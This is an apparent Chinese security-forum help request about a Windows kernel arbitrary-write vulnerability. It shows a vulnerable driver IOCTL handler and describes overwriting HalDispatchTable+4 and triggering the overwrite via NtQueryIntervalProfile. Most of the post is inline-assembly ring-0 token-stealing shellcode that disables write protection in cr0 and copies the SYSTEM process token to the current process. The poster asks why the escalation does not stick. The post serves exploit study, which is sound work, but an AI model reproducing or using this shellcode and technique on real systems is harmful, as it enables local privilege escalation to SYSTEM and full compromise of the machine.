任意写 漏洞驱动代码:
NTSTATUS DeviceIOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
Irp->IoStatus.Information = 0;
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
Irp->IoStatus.Status = STATUS_SUCCESS;
ULONG inputlength = stack->Parameters.DeviceIoControl.InputBufferLength;
ULONG outputlength = stack->Parameters.DeviceIoControl.OutputBufferLength;
ULONG ioControlCode = stack->Parameters.DeviceIoControl.IoControlCode;
switch (ioControlCode)
{
case IOCTL_MethodNeither:
__asm int 3;
PVOID type3inputbuffer = stack->Parameters.DeviceIoControl.Type3InputBuffer;
PVOID UserBuffer = Irp->UserBuffer;
KdPrint(("hello my IOCTL_METHODNETHER CALLED"));
if (inputlength >=4 && outputlength >= 4)
{
*(ULONG*)UserBuffer = *(ULONG*)type3inputbuffer;
Irp->IoStatus.Information = sizeof(ULONG);
}
break;
}
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Irp->IoStatus.Status;
}
exploit 将 HalDispatchTable + 4 (存放的是HaliQuerySystemInformation函数的地址) 地址处的值置为0
然后向00申请内存,拷贝进r0 shellcode 如下:
R0 shellcode 为普通的 steltoken 的 提权shellcode
__asm
{
cli;
mov eax, cr0;
mov g_uCr0,eax;
and eax,0xFFFEFFFF;
mov cr0, eax;
}
__asm{
mov eax,0xFFDFF124 //kpcr 在用户模式下,FS指向TEB结构,而在内核模式下FS却指向KPCR
mov eax,[eax] //当前线程PETHREAD
mov esi,[eax+0x220]//当前线程所属进程的PEPROCESS
mov eax,esi
searchXp:
mov eax,[eax+0x88]
sub eax,0x88 //获得进程链表中下一个进程PEPROCESS
mov edx,[eax+0x84] //pid ->edx
cmp edx,0x4
jne searchXp
mov eax,[eax+0xc8] //获取 system 进程的token
mov [esi+0xc8],eax //修改当前进程的 token
}
__asm
{
sti;
mov eax, cr0;
mov eax,g_uCr0
mov cr0,eax;
}
调用 NtQueryIntervalProfile 函数,函数又调用 HalDispatchTable + 4 处的值作为函数
可以成功执行内核中0x00 处代码 ,也就是我的 R0 shellcode
windbg 双机调试 可以看到 成功执行了R0 shellcode
但是每次执行完后,返回到 R3 ,看到进程都不会提权成功,还是原来的token
再次 调用 看到 token 又变成 普通进程的token 而不是我们修改成的 SYSTEM token





问题是如何才能在成功执行R0 shellcode后,看到我们的进程权限变成 SYSTEM 而不是 USER的
按照书上走的流程,但是还是没有成功


望知道的大牛解答
【看雪培训】《Adroid高级研修班》2022年夏季班招生中!